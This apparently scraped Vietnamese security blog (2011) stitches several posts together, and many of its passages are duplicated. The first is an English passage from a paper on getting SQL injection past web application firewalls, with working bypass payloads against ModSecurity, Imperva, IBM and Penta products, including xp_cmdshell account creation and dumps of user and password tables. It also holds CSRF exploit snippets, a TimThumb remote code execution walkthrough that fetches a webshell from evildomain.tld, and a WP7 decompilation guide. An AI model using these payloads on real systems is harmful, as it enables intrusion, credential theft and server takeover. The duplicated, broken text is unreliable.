[Nukesentinel.php Code]------------------------------------------------------------
// Check for UNION attack
// Copyright 2004(c) Raven PHP Scripts
$blocker_row = $blocker_array[1];
if($blocker_row['activate'] > 0) {
if (stristr($nsnst_const['query_string'],'+union+') OR \
stristr($nsnst_const['query_string'],'%20union%20') OR \
stristr($nsnst_const['query_string'],'*/union/*') OR \
stristr($nsnst_const['query_string'],' union ') OR \
stristr($nsnst_const['query_string_base64'],'+union+') OR \
stristr($nsnst_const['query_string_base64'],'%20union%20') OR \
stristr($nsnst_const['query_string_base64'],'*/union/*') OR \
stristr($nsnst_const['query_string_base64'],' union ')) { // block_ip($blocker_row);
die("BLOCK IP 1 " );
}
}
[End Code]-------------------------------------------------------------------------
We can bypass their filtering with these script:
Forbidden: http://victim.com/php-nuke/?/**/union/**/select ..
Bypassed : http://victim.com/php-nuke/?/%2A%2A/union/%2A%2A/select
Bypassed : http://victim.com/php-nuke/?%2f**%2funion%2f**%2fselect
2. Mod Security CRS (Credit: Johannes Dahse)
[SecRule]--------------------------------------------------------------------------
SecRule REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* "\bunion\b.{1,100}?\bselect\b" \ "phase2,rev:'2.2.1',capture,t:none,
t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:replaceComments,t:compressWhiteSpace,ctl:auditLogParts=+E,block,
msg:'SQL Injection Attack',id:'959047',tag:'WEB_ATTACK/SQL_INJECTION',tag:'WASCTC/WASC-19',tag:'OWASP_TOP_10/A1',
tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',logdata:'%{TX.0}',severity:'2',setvar:'tx.msg=%{rule.msg}',
setvar:tx.sql_injection_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},
setvar:tx.%{rule.id}-WEB_ATTACK/SQL_INJECTION-%{matched_var_name}=%{tx.0}"
[End Rule]-------------------------------------------------------------------------
We can bypass their filtering with this code:
[Code]------------------------------------------------------------------------------
http://victim.com/news.php?id=0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user
[End Code]--------------------------------------------------------------------------
From this attack, We can bypass Mod Security rule. Let see what's happen !!
MySQL Server supports 3 comment styles:
- From a "#" character to the end of the line
- From a "--" sequence to the end of the line
- From a /* sequence to the following */ sequence, as in the C programming language.
This syntax enables a comment to extend over multiple lines because the beginning and closing sequences need
not be on the same line.
The following example, We used "%0D%0A" as the new line characters. Let's take a look at the first request(to extract the DB user)
The resulting SQL payload looked something like this:
0 div 1 union#foo*/*/bar
select#foo
1,2,current_user
However the SQL payload, when executed by the MySQL DB, looked something like this:
0 div 1 union select 1,2,current_user
5. Buffer Overflow
WAFs that written in the C language prone to overflow or act differently when loaded with a bunch of data.
Give a large amount of data allows our code executing
[Code]------------------------------------------------------------------------------
http://victim.com/news.php?id=1+and+(select 1)=(select 0x414141414141441414141414114141414141414141414141414141
414141414141 .)+union+select+1,2,version(),database(),user(),6,7,8,9,10--
[End Code]--------------------------------------------------------------------------
6. Inline Comments (Mysql Only)
From MySQL 5.0 Reference Manual, MySQL Server supports some variants of C-style comments. These enable you to write
code that includes MySQL extensions, but is still portable, by using comments of the following form:
/*! MySQL-specific code */
In this case, MySQL Server parses and executes the code within the comment as it would any other SQL statement,
but other SQL servers will ignore the extensions.
A lot of WAFs filter SQL keywords like /union\sselect\ig We can bypass this filter by using inline comments.
[Code]------------------------------------------------------------------------------
http://victim.com/news.php?id=1/*!UnIoN*/SeLecT+1,2,3--
[End Code]--------------------------------------------------------------------------
Inline comments can be used throughout the SQL statement so if table_name or information_schema are filtered we can
add more inline comments
[Code]------------------------------------------------------------------------------
http://victim.com/news.php?id=/*!UnIoN*/+/*!SeLecT*/+1,2,concat(/*!table_name*/)+FrOm/*!information_schema*/.tables
/*!WhErE*/+/*!TaBlE_sChEMa*/+like+database()--
[End Code]--------------------------------------------------------------------------
In a recent penetration test, we were able to bypass a Mod Security CRS and PentaSecurity-WAPPLE using this technique. More information show below:
#################################################################################################################
Vendor : Penta Security System
Product: Wapple Web Application Firewall
Patch released: 2011-10-02 (In SQL Injection Custom Policy Mode)
Publish released: 2011-10-04
Credit : Prathan Phongthiproek and Suphot Boonchamnan
These scripts can all SQL Injection rules:
1 ||1=1
1 /*!order by*/ 3
1 /*!union select*/ 1,table_name from /*!information_schema.tables*/
1 /*!union select*/ 1,column_name from /*!information_schema.columns where table_name = 0x7573657273*/
1 /*!union select*/ /*!user,password*/ from /*!users*/
################################################################################################################
########################################
[0x03] - Advanced Bypassing Techniques
########################################
In this section, we offer 2 techniques are "HTTP Pollution: Split and Join" and "HTTP Parameter Contamination".
From these techniques can bypass a lot of OpenSource and Commercial Web application firewall (WAF)
++++++++++++++++++++++++++++++++++++++++++++++++++++
[0x03a] - HTTP Parameter Pollution: Split and Join
++++++++++++++++++++++++++++++++++++++++++++++++++++
HTTP Pollution is a new class of injection vulnerability by Luca Carettoni and Stefano Di Paola. HPP is a quite simple but
effective hacking technique. HPP attacks can be defined as the feasibility to override or add HTTP GET/POST parameters by injecting
query string.
Example of HPP: "http://victim.com/search.aspx?par1=val1&par1=val2"
HTTP Parameter Handling: (Example)
+------------------------------------------------------------------+
| Web Server | Parameter Interpretation | Example |
+------------------------------------------------------------------+
| ASP.NET/IIS | Concatenation by comma | par1=val1,val2 |
| ASP/IIS | Concatenation by comma | par1=val1,val2 |
| PHP/Apache | The last param is resulting | par1=val2 |
| JSP/Tomcat | The first param is resulting | par1=val1 |
| Perl/Apache | The first param is resulting | par1=val1 |
| DBMan | Concatenation by two tildes | par1=val1~~val2 |
+------------------------------------------------------------------+
What would happen with WAFs that do Query String parsing before applying filters ? (HPP can be used even to bypass WAFs)
Some loose WAFs may analyze and validate a single parameter occurrence only (first or last one). Whenever the deal environment concatenates
multiple occurrences (ASP, ASP.NET, DBMan, ) an aggressor can split the malicious payload.
In a recent penetration test (Again), we were able to bypass a Imperva SecureSphere using "HPP+Inline Comment" on ASP/ASP.NET environment.
This technique can bypass other Commercial WAFs too. More information about "HPP+Inline Comment" show below:
#Real World Example:
1. Mod Security CRS (Credit: Lavakumar Kuppan)
The following request matches against the ModSecurity CRS as a SQL Injection attack and is blocked.
Forbidden: http://victim.com/search.aspx?q=select name,password from users
When the same payload is split against multiple parameters of the same name ModSecurity fails to block it.
Bypassed : http://victim.com/search.aspx?q=select name&q=password from users
Let's see what's happen, ModSecurity's interpretation is
q=select name
q=password from users
ASP/ASP.NET's interpretation is
q=select name,password from users
*Tip: This attack can be carried out on a POST variable in a similar way
2. Commercial WAFs
Forbidden: http://victim.com/search.aspx?q=select name,password from users
Now we use HPP+Inline comment to bypass it.
Bypassed : http://victim.com/search.aspx?q=select/*&q=*/name&q=password/*&q=*/from/*&q=*/users
Analyzing, WAF's interpretation is
q=select/*
q=*/name
q=password/*
q=*/from/*
q=*/users
ASP/ASP.NET's interpretation is
q=select/*,*/name,password/*,*/from/*,*/users
q=select name,password from users
3. IBM Web Application Firewall (Credit: Wendel Guglielmetti Henrique of Trustwave's SpiderLabs)
Forbidden: http://victim.com/news.aspx?id=1'; EXEC master..xp_cmdshell net user zeq3ul UrWaFisShiT /add --
Now we use HPP+Inline comment to bypass it.
Bypassed : http://victim.com/news.aspx?id=1'; /*&id=1*/ EXEC /*&id=1*/ master..xp_cmdshell /*&id=1*/ net user lucifer UrWaFisShiT /*&id=1*/ --
Analyzing, WAF's interpretation is
id=1; /*
id=1*/ EXEC /*
id=1*/ master..xp_cmdshell /*
id=1*/ net user zeq3ul UrWaFisShiT /*
id=1*/ --
ASP/ASP.NET's interpretation is
id=1; /*,1*/ EXEC /*,1*/ master..xp_cmdshell /*,1*/ net user zeq3ul UrWaFisShiT /*,1*/ --
id=1; EXEC master..xp_cmdshell net user zeq3ul UrWaFisShiT --
The easiest mitigation to this attack would be for the WAF to disallow multiple instances of the same parameter in a single HTTP request.
This would prevent all variations of this attack.
However this might not be possible in all cases as some applications might have a legitimate need for multiple duplicate parameters.
And they might be designed to send and accept multiple HTTP parameters of the same name in the same request.To protect these applications the WAF
should also interpret the HTTP request in the same way the web application would.
++++++++++++++++++++++++++++++++++++++++
[0x03b] - HTTP Parameter Contamination
++++++++++++++++++++++++++++++++++++++++
HTTP Parameter Contamination (HPC) original idea comes from the innovative approach found in HPP research by
exploring deeper and exploiting strange behaviors in Web Server components, Web Applications and Browsers as a result of query string
parameter contamination with reserved or non expects characters.
Some facts:
- The term Query String is commonly used to refer to the part between the "?" and the end of the URI
- As defined in the RFC 3986, it is a series of field-value pairs
- Pairs are separated by "&" or ";"
- RFC 2396 defines two classes of characters:
Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' ()
Reserved : ; / ? : @ & = + $ ,
Unwise : { } | \ ^ [ ] `
Different web servers have different logic for processing special created requests. There are more web server, backend platform and special character combinations,
but we will stop here this time.
Query string and Web server response (Example)
+-----------------------------------------------------------+
| Query String | Web Servers response / GET values |
+-----------------------------------------------------------+
| | Apache/2.2.16, PHP/5.3.3 | IIS6/ASP |
+-----------------------------------------------------------+
| ?test[1=2 | test_1=2 | test[1=2 |
| ?test=% | test=% | test= |
| ?test=1 | test=1 | test=1 |
| ?test=11 | NULL | test=1 |
| ?test+d=1+2 | test_d=1 2 | test d=1 2 |
+-----------------------------------------------------------+
Magic character "%" affect to ASP/ASP.NET
+--------------------------------------------------------------------+
| Keywords | WAF | ASP/ASP.NET |
+--------------------------------------------------------------------+
| sele%ct * fr%om.. | sele%ct * fr%om.. | select * from.. |
| ;dr%op ta%ble xxx | ;dr%op ta%ble xxx | ;drop table xxx |
|
Thứ Sáu, 30 tháng 9, 2011
3
CSRF/XSRF Cross-Site Request Forgery
Hiện nay nhiều người vẫn chưa đánh giá đúng mức độ nghiêm trọng của CSRF, thậm chí còn nhầm lẫn CSRF với XSS. Với cá nhân mình CSRF thực sự là thực sự là một dạng lỗi rất "hay ho" và còn rất nhiều website mắc phải, đặc biệt là các website của VN.
Sự ra đời của CSRF
Năm 2001, Peter Watkins trong bài viết: "The Dangers of Allowing Users to Post Images" "trên bugtrag đã lần đầu tiên sử dụng thuật ngữ CSRF.
CSRF (Cross-Site Request Forgery) là gì?
Cross-Site Request Forgery (CSRF / XSRF), là kiểu tấn công lừa người sử dụng thực hiện một hành động mà họ không mong muốn lên ứng dụng web, bằng chính quyền của người dùng đó. Sử dụng một số thủ thuật social engineering đơn giản (như gửi link qua email, chát), hacker có thể lừa người dùng thực hiện một số tác vụ lên ứng dụng web bị lỗi CSRF như: xóa bài, thêm người dùng, thay đổi email, thay đổi mật khẩu của victim ... Nếu người bị lừa là Admin, thì hacker hoàn toàn có thể chiếm quyền điều khiển ứng dụng web đó.
Ví dụ: Trong giao diện quản trị admin control panel của một ứng dụng web cho phép admin xóa bài viết bằng request sau?
http://WebSites.com/admincp/index.php?act=delete&id=ID
Chuyện gì sẽ xảy ra nếu admin nhận được 1 email,đọc một comment có chèn đoạn code HTML sau:<img src="http://WebSites.com/admincp/index.php?act=delete&id=ID" />
Cookiee và CSRF
Nếu website phân biệt người dùng qua Cookie hoặc Session thì liệu có bị CSRF không. Câu trả lời là có. Khi kết nối tới server để load ảnh tại link trên, trình duyệt đã tự động điền cookie, session vào request đó.
Store CSRF
Phân biệt CSRF vs XSS (Cross-Site Scripting)
Website chỉ sử dụng POST có bị CSRF không
Đúng là việc khai thác CSRF qua POST sẽ khó hơn, mức độ nguy hiểm của những lỗi CSRF qua POST vì thế cũng bị đánh giá thấp hơn . Tuy nhiên, phải hiểu rằng, việc truyền biến qua POST không phải là giải pháp cho XSRF.
Các cách khai thác CSRF phổ biến
1. Khai thác qua các thẻ HTML
IMG SRC
<img src="http://host/?command">
SCRIPT SRC <script src="http://host/?command">
IFRAME SRC <iframe src="http://host/?command">
2. Khai thác qua JavaScript (Thường dùng cho các request dạng POST)
'Image' Object
<script>
var foo = new Image();
foo.src = "http://host/?command";
</script>
var foo = new Image();
foo.src = "http://host/?command";
</script>
'XMLHTTP' Object
IE
<script>
var post_data = 'name=value';
var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
xmlhttp.open("POST", 'http://url/path/file.ext', true);
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4)
{
alert(xmlhttp.responseText);
}
};
xmlhttp.send(post_data);
</script>
var post_data = 'name=value';
var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
xmlhttp.open("POST", 'http://url/path/file.ext', true);
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4)
{
alert(xmlhttp.responseText);
}
};
xmlhttp.send(post_data);
</script>
Mozilla
<script>
var post_data = 'name=value';
var xmlhttp=new XMLHttpRequest();
xmlhttp.open("POST", 'http://url/path/file.ext', true);
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4)
{
alert(xmlhttp.responseText);
}
};
xmlhttp.send(post_data);
</script>
Ngoài ra còn rất nhiều kiểu khai thác khác nữa như sử dụng VBScript, Action Script, hay dùng các ngôn ngữ XML để thực hiện request.
CSRF ngoài việc khai thác trực tiếp qua trình duyệt, còn có thể khai thác qua Flash, Document file (PDF, DOC, EXEL ...), movie (WMA, AVI..), qua RSS, atom ...
var post_data = 'name=value';
var xmlhttp=new XMLHttpRequest();
xmlhttp.open("POST", 'http://url/path/file.ext', true);
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4)
{
alert(xmlhttp.responseText);
}
};
xmlhttp.send(post_data);
</script>
Ngoài ra còn rất nhiều kiểu khai thác khác nữa như sử dụng VBScript, Action Script, hay dùng các ngôn ngữ XML để thực hiện request.
CSRF ngoài việc khai thác trực tiếp qua trình duyệt, còn có thể khai thác qua Flash, Document file (PDF, DOC, EXEL ...), movie (WMA, AVI..), qua RSS, atom ...
Cách Pentest CSRF
Nếu website cho phép thực hiện các chức năng thông qua các request GET hoặc POST cố định thì có khả năng mắc lỗi CSRF. Tức là nếu mình replay lại được request POST hoặc GET trên thì có khả năng là website sẽ mắc lỗi.
Phòng chống CSRF
Một số quam niệm sai lầm
Sai lầm 1: Sử dụng POST để tránh CSRF. (Đã phân tích ở trên)
Sai lầm 2: Sử dụng Cookie để tránh CSRF. (Đã phân tích ở trên)
Sai lầm 3: Sử dụng Referer có thể khắc phục triệt để được CSRF
Đúng là việc check referer có thể khiến cho việc khai thác CSRF trở nên khó khăn hơn, nhưng điều đó không có nghĩa là bạn có thể dùng nó để chống CSRF. Tốt nhất là hãy code website để nó không mắc lỗi, chứ đừng để nó mắc lỗi mà đi tìm cách chặn kiểu khác thác của nó. Rõ ràng khi site bị CSRF, nếu ta relay thành công một request hợp lệ thì xem như sẽ khai thác được. Cái khó ở đây là website đó đã check referer. Vậy mấu chốt là phải giả được referer. Nếu bạn đã cài được 1 plugin lên trình duyệt của người dùng, thì xem như hết chuyện để nói, còn trên thực tế bạn có thể dùng XMLHTTP hoặc Flash để tạo ra request có referer giả
Vậy rốt cuộc, nên phòng chống CSRF như thế nào? Dưới đây là một số recomment:
1. Synchronizer Token Pattern:
Tạo thêm 1 trường ẩn có giá trị là token
<form action="/transfer.do" method="post">
<input type="hidden" name="CSRFToken" value="OWY4NmQwODE4ODRjN2Q2NTlhMmZlYWEwYzU1YWQwMTVhM2JmNGYxYjJiMGI4MjJjZDE1ZDZjMTVi
MGYwMGEwOA==">
…
</form>
2. Disclosure of Token in URL<input type="hidden" name="CSRFToken" value="OWY4NmQwODE4ODRjN2Q2NTlhMmZlYWEwYzU1YWQwMTVhM2JmNGYxYjJiMGI4MjJjZDE1ZDZjMTVi
MGYwMGEwOA==">
…
</form>
Cách này đưa token lên URL, bạn vào các website mà có đường dẫn loằng ngoằng toàn số, chính là loại này.
Kiểu này có đặc điểm là không đẹp, khó SEO.
3. Viewstate (ASP.NET)
4. Double Submit Cookies
Kiểu này thực chất là khá giống kiểu 1, nhưng lấy ngay cookie làm trường ẩn.
Thứ Năm, 29 tháng 9, 2011
0
Lỗi nghiêm trọng của Wordpress TimThumb Plugin ảnh hưởng tới rất nhiều blog
TimThumb
Chức năng: TimThumb là một plugin khá phổ biến trong giới wordpress dùng để tạo các ảnh thumb cho bài viết. Cách sử dụng đơn giản, với chỉ một file php duy nhất.
WordPress TimThumb Plugin - Remote Code Execution
Version mắc lỗi: Từ 1.15 đến 1.32 (đã check). Version 1.33 không bị vì không lưu file cache dưới đuôi .php
Cách xem version của phiên bản TimThumb.
Tìm đoạn code có dạng sau ở ngay đầu file:
Nguyên nhân mắc lỗi: TimThumb lưu cache file sau khi kiểm tra tính hợp lệ của MIME-TYPE, nhưng ta hoàn toàn có thể tạo 1 file PHP WebShell có MIME-TYPE là của file ảnh để đánh lừa.
Ngoài ra bạn cũng hoàn toàn có thể tự chèn webshell vào trong file ảnh của mình bằng cách sử dụng công cụ edjpgcom
AllowedSites
Có một điểm bạn lưu ý để khai thác thành công lỗi này mà tôi chưa thấy blog nào nói rõ đó là vấn đề AllowedSites. Thực ra TimThumb chỉ cho phép tạo cache và thumb với các file ảnh trên chính host của blog của bạn. Vì thế bạn sẽ không thể ... Remote Execute được.
Ngay đầu file có đoạn kiểm tra src
Nhưng hãy chú ý hàm check_externa.
TimThumb lại cho phép
Trong khi đoạn code kiểm tra allowedSites lại không chặt chẽ. Bạn hoàn toàn có thể đăng ký các domain dạng: xxxflickr.com , yyyyblogger.com ... để qua mặt
Exploit Video
Note:
1. Việc kiểm tra allowsite là không chặt chẽ do sự đa dạng của subdomain.
2. MIME-TYPE có thể làm giả
Chức năng: TimThumb là một plugin khá phổ biến trong giới wordpress dùng để tạo các ảnh thumb cho bài viết. Cách sử dụng đơn giản, với chỉ một file php duy nhất.
HTML example: <img src="/scripts/timthumb.php?src=/images/whatever.jpg&w=150&h=200&zc=1" alt="" />
TimThumb cũng có tính năng tạo cache để việc xem lại ảnh trở nên nhanh hơn. Chính vì sự dễ dùng và hiệu quả như vậy, TimThumb thường được tích hợp sẵn trong rất nhiều premium templates nổi tiếng cũng như được tích hợp trong các plugin khác chuyên về sử lý ảnh, gallery của wordpress.WordPress TimThumb Plugin - Remote Code Execution
Version mắc lỗi: Từ 1.15 đến 1.32 (đã check). Version 1.33 không bị vì không lưu file cache dưới đuôi .php
Cách xem version của phiên bản TimThumb.
Tìm đoạn code có dạng sau ở ngay đầu file:
define ('VERSION', '1.15'); // version number (to force a cache refresh)
Nguyên nhân mắc lỗi: TimThumb lưu cache file sau khi kiểm tra tính hợp lệ của MIME-TYPE, nhưng ta hoàn toàn có thể tạo 1 file PHP WebShell có MIME-TYPE là của file ảnh để đánh lừa.
Attack URL: (Note! Some websites uses Base64 Encoding of the src GET-request.)
http://www.target.tld/wp-content/themes/THEME/timthumb.php?src=http://blogger.com.evildomain.tld/pocfile.php
Stored file on the Target: (This can change from host to host.)
http://www.target.tld/wp-content/themes/THEME/cache/md5($src);
Download PHP WebShell có MIME-TYPE của file GIFhttp://www.target.tld/wp-content/themes/THEME/timthumb.php?src=http://blogger.com.evildomain.tld/pocfile.php
Stored file on the Target: (This can change from host to host.)
http://www.target.tld/wp-content/themes/THEME/cache/md5($src);
Ngoài ra bạn cũng hoàn toàn có thể tự chèn webshell vào trong file ảnh của mình bằng cách sử dụng công cụ edjpgcom
AllowedSites
Có một điểm bạn lưu ý để khai thác thành công lỗi này mà tôi chưa thấy blog nào nói rõ đó là vấn đề AllowedSites. Thực ra TimThumb chỉ cho phép tạo cache và thumb với các file ảnh trên chính host của blog của bạn. Vì thế bạn sẽ không thể ... Remote Execute được.
Ngay đầu file có đoạn kiểm tra src
// sort out image source
$src = get_request ('src', '');
if ($src == '' || strlen ($src) <= 3) {
display_error ('no image specified');
}
// clean params before use
$src = clean_source ($src);
Trong đó$src = get_request ('src', '');
if ($src == '' || strlen ($src) <= 3) {
display_error ('no image specified');
}
// clean params before use
$src = clean_source ($src);
function clean_source ($src) {
$host = str_replace ('www.', '', $_SERVER['HTTP_HOST']);
$regex = "/^((ht|f)tp(s|):\/\/)(www\.|)" . $host . "/i";
$src = preg_replace ($regex, '', $src);
$src = strip_tags ($src);
$src = check_external ($src);
// remove slash from start of string
if (strpos ($src, '/') === 0) {
$src = substr ($src, -(strlen ($src) - 1));
}
// don't allow users the ability to use '../'
// in order to gain access to files below document root
$src = preg_replace ("/\.\.+\//", "", $src);
// get path to image on file system
$src = get_document_root ($src) . '/' . $src;
return $src;
}
Dễ dàng nhận thấy đoạn code trên sẽ trảm phần http:// (hoặc ftp) đi, vì thế bạn sẽ không thể khai thác từ xa.$host = str_replace ('www.', '', $_SERVER['HTTP_HOST']);
$regex = "/^((ht|f)tp(s|):\/\/)(www\.|)" . $host . "/i";
$src = preg_replace ($regex, '', $src);
$src = strip_tags ($src);
$src = check_external ($src);
// remove slash from start of string
if (strpos ($src, '/') === 0) {
$src = substr ($src, -(strlen ($src) - 1));
}
// don't allow users the ability to use '../'
// in order to gain access to files below document root
$src = preg_replace ("/\.\.+\//", "", $src);
// get path to image on file system
$src = get_document_root ($src) . '/' . $src;
return $src;
}
Nhưng hãy chú ý hàm check_externa.
TimThumb lại cho phép
// external domains that are allowed to be displayed on your website
$allowedSites = array (
'flickr.com',
'picasa.com',
'blogger.com',
'wordpress.com',
'img.youtube.com',
);
$allowedSites = array (
'flickr.com',
'picasa.com',
'blogger.com',
'wordpress.com',
'img.youtube.com',
);
Trong khi đoạn code kiểm tra allowedSites lại không chặt chẽ. Bạn hoàn toàn có thể đăng ký các domain dạng: xxxflickr.com , yyyyblogger.com ... để qua mặt
Exploit Video
Note:
1. Việc kiểm tra allowsite là không chặt chẽ do sự đa dạng của subdomain.
2. MIME-TYPE có thể làm giả
Thứ Hai, 26 tháng 9, 2011
0
Lulzsec Hacker đối mặt với mức án 15 năm tù vì quá tin tưởng HideMyAss
Từ lâu trong giới công nghệ, mọi người đều biết đến HideMyAss.com, như một trong những nhà cung cấp dịch vụ ẩn danh nổi tiếng và tốt nhất trên Internet.
Thế nhưng mới đây, hacker Commander X của nhóm Lulzsec đã bị FBI bắt giữ và đang phải đối mặt với nguy cơ chịu mức án lên tới 15 năm tù giam. Theo tìm hiểu Commander X đã bị bắt giữ vì sử dụng mạng Internet tại nhà, và fakeip bằng dịch vụ của HideMyAss. Tuy nhiên HideMyAss đã cung cấp toàn bộ thông tin
trên cho FBI.
HideMyAss công bố: "services such as ours do not exist to hide people from illegal activity. We will cooperate with law enforcement agencies if it has become evident that your account has been used for illegal activities"
Theo như tìm hiểu, HideMyAss sẽ log lại các IP sử dụng các dịch vụ của họ trong khoảng 30 ngày.
Đọc thêm tại: http://blog.hidemyass.com/2011/09/23/lulzsec-fiasco/
Điều rút ra ở đây là: Không tin một ai ngoài chính mình :D
Thế nhưng mới đây, hacker Commander X của nhóm Lulzsec đã bị FBI bắt giữ và đang phải đối mặt với nguy cơ chịu mức án lên tới 15 năm tù giam. Theo tìm hiểu Commander X đã bị bắt giữ vì sử dụng mạng Internet tại nhà, và fakeip bằng dịch vụ của HideMyAss. Tuy nhiên HideMyAss đã cung cấp toàn bộ thông tin
trên cho FBI.
HideMyAss công bố: "services such as ours do not exist to hide people from illegal activity. We will cooperate with law enforcement agencies if it has become evident that your account has been used for illegal activities"
Theo như tìm hiểu, HideMyAss sẽ log lại các IP sử dụng các dịch vụ của họ trong khoảng 30 ngày.
Đọc thêm tại: http://blog.hidemyass.com/2011/09/23/lulzsec-fiasco/
Điều rút ra ở đây là: Không tin một ai ngoài chính mình :D
Thứ Tư, 21 tháng 9, 2011
0
Dịch ngược ứng dụng WP7 ra code .NET
With over 30,000 apps in the marketplace within a year of launch, Microsoft’s Windows Phone 7 platform seems to grabbing consumer attention slowly but steadily. Though the installed user base is nowhere close to that of Android or iOS, Gartner’s predictions notwithstanding, in the last few months we’ve seen an increasing interest from companies on this new mobile platform. One of the questions we hear a lot is how we go about pentesting WP7 apps, and what tools their QA teams should be looking at. This post, and others in this series, is aimed at answering some of these questions.
Many applications also have accompanying resource folders, which hold static content like configuration files, sounds, etc., which might be worth looking at.
The WMAppManifest.xml file lists the capabilities requested by the application, which should be as minimal as possible. Capabilities define what resources an app requests access to, similar to permissions in an Android app. The capabilities required by application, based on the libraries it references, can be determined by using the Windows Phone Capability Detection Tool, packaged with the WP7 SDK.
Once the target binary has been identified, in our case MyApplication.dll, load it in .NET Reflector by clicking on File -> Open and selecting the file. The tool may complain about missing assemblies; this happens because it wasn’t built to support WP7 and cannot resolve the assembly names automatically. Whenever it complains about an assembly, for example “could not find Microsoft.Phone.dll”, it also offers the user a chance to load the file manually. Click on the “…” and browse to “Program Files\Reference Assemblies\Microsoft\Framework\Silverlight\v4.0\Profile\WindowsPhone”, where you will find all the system DLLs that are generally used by WP7 applications. You may need to install the WP7 Developer Tools SDK (http://create.msdn.com/en-US/resources/downloads) if you don’t have that folder already. If you’re using a 64-bit flavor of Windows, replace “Program Files” with “Program Files (x86)”.
Right click the assembly on the tree to the left and click on “Disassemble”. The tree should now be expandable, and will have two nodes, “MyApplication.dll” and “Resources”. Resources contains all the embedded resources for the app, like XAML and image files. These can be extracted and saved for perusal – sometimes, the XAML files have interesting tidbits left by the developer. Double click the resources file to load it into the right tree, then right click -> “Save As” on the resource you want to save.
The screenshot above shows a typical decompiled binary. I’ve obfuscated the namespace, since it’s a real app in the Marketplace. The second node contains reference points to system DLLs, and the application code namespaces. This is essentially the meat of the application – it represents the code tree of the application and allows to look for bugs in the decompiled code. Expand the code tree and click on any node to view the source. The structure is DLL -> Namespace -> Class -> Class Members. It’s more expedient to view it by class – click on the class you want to investigate, and you can see declarations for all methods and variables used by the class. Click on “Expand Methods” on the right hand pane to view method definitions.
Clicking on “Tools” -> “Search” on the main window bar will bring up the search interface. Type in the desired search string in the search box, results should dynamically update. Results can be refined by type, member, string/constant, or exact match by the little icons to the right of the search bar.
That’s all I have this time – I’ll talk about exploring Isolated Storage, interop DLLs, analyzing network traffic, and other points of interest in the next post.
Application Package Structure
WP7 apps are zip files renamed as “.xap” archives, and can be opened by standard archival programs such as 7-Zip and WinRar. Rename the application package “MyApp.xap” to “MyApp.zip”, and then unzip the archive. Generally, the following files will be found inside application package:- AppManifest.xaml – Lists assemblies required by the application, application code entry point, runtime version.
- MyApplication.dll – Main application DLL. This contains the application logic and embedded resources like XAML layouts and images.
- Background.png, ApplicationIcon.png – Images for the application
- WMAppManifest.xml – Lists capabilities requested by the application, application GUID, application XAML entry point, app icons and live tile/hub bindings.
- WMAppPRHeader.xml – DRM header for app (in case of download from Marketplace).
- WPInteroptManifest.xml* – Optional. If it exists, the application is probably making use of interop services.
- MyInteropDll.dll* – Optional. If it exists, the application is probably making use of interop services.
- System assemblies – Default WP7 assemblies, e.g. Microsoft.Phone.Controls.dll, System.Windows.Controls.dll, etc.
- Images/* - Application icon / app bar images
Many applications also have accompanying resource folders, which hold static content like configuration files, sounds, etc., which might be worth looking at.
The WMAppManifest.xml file lists the capabilities requested by the application, which should be as minimal as possible. Capabilities define what resources an app requests access to, similar to permissions in an Android app. The capabilities required by application, based on the libraries it references, can be determined by using the Windows Phone Capability Detection Tool, packaged with the WP7 SDK.
C:\Program Files (x86)\Microsoft SDKs\Windows Phone\v7.0\Tools\CapDetect>CapabilityDetection.exe Rules.xml MyApplication.dll
ID_CAP_NETWORKING
ID_CAP_MEDIALIB
ID_CAP_SENSORS
ID_CAP_WEBBROWSERCOMPONENT
ID_CAP_IDENTITY_DEVICEThe main point of analysis is the MyApplicationName.dll file. This contains the primary application logic. Though theoretically any .NET language is supported, typically WP7 applications are written in C# and compiled as managed binaries. Though WP7 apps may be relatively new, the .NET language has been around a while, and a number of tools exist to aid in reversing .NET binaries.Decompilation and Static Analysis
After extracting XAP contents, identify the main DLL file. This is usually the assembly pointed to by the “EntryPointAssembly” field in AppManifest.xaml. The DLL is a .NET managed code binary, and depending on any obfuscation used, can be decompiled back into C# by tools like .NET Reflector and dotPeek.- .NET Reflector – This is my preferred tool for decompilation of .NET binaries. The interface is simple and easy to use – however, I find myself getting better results with dotPeek (see below). The standard version of the tool costs $35, though a 14-day evaluation license is available.
- dotPeek – This is a recent tool from JetBrains, still in development. It’s free, and managed to decompile some binaries that Reflector bailed out on. I’m expecting good things from this.
Once the target binary has been identified, in our case MyApplication.dll, load it in .NET Reflector by clicking on File -> Open and selecting the file. The tool may complain about missing assemblies; this happens because it wasn’t built to support WP7 and cannot resolve the assembly names automatically. Whenever it complains about an assembly, for example “could not find Microsoft.Phone.dll”, it also offers the user a chance to load the file manually. Click on the “…” and browse to “Program Files\Reference Assemblies\Microsoft\Framework\Silverlight\v4.0\Profile\WindowsPhone”, where you will find all the system DLLs that are generally used by WP7 applications. You may need to install the WP7 Developer Tools SDK (http://create.msdn.com/en-US/resources/downloads) if you don’t have that folder already. If you’re using a 64-bit flavor of Windows, replace “Program Files” with “Program Files (x86)”.
Right click the assembly on the tree to the left and click on “Disassemble”. The tree should now be expandable, and will have two nodes, “MyApplication.dll” and “Resources”. Resources contains all the embedded resources for the app, like XAML and image files. These can be extracted and saved for perusal – sometimes, the XAML files have interesting tidbits left by the developer. Double click the resources file to load it into the right tree, then right click -> “Save As” on the resource you want to save.
The screenshot above shows a typical decompiled binary. I’ve obfuscated the namespace, since it’s a real app in the Marketplace. The second node contains reference points to system DLLs, and the application code namespaces. This is essentially the meat of the application – it represents the code tree of the application and allows to look for bugs in the decompiled code. Expand the code tree and click on any node to view the source. The structure is DLL -> Namespace -> Class -> Class Members. It’s more expedient to view it by class – click on the class you want to investigate, and you can see declarations for all methods and variables used by the class. Click on “Expand Methods” on the right hand pane to view method definitions.
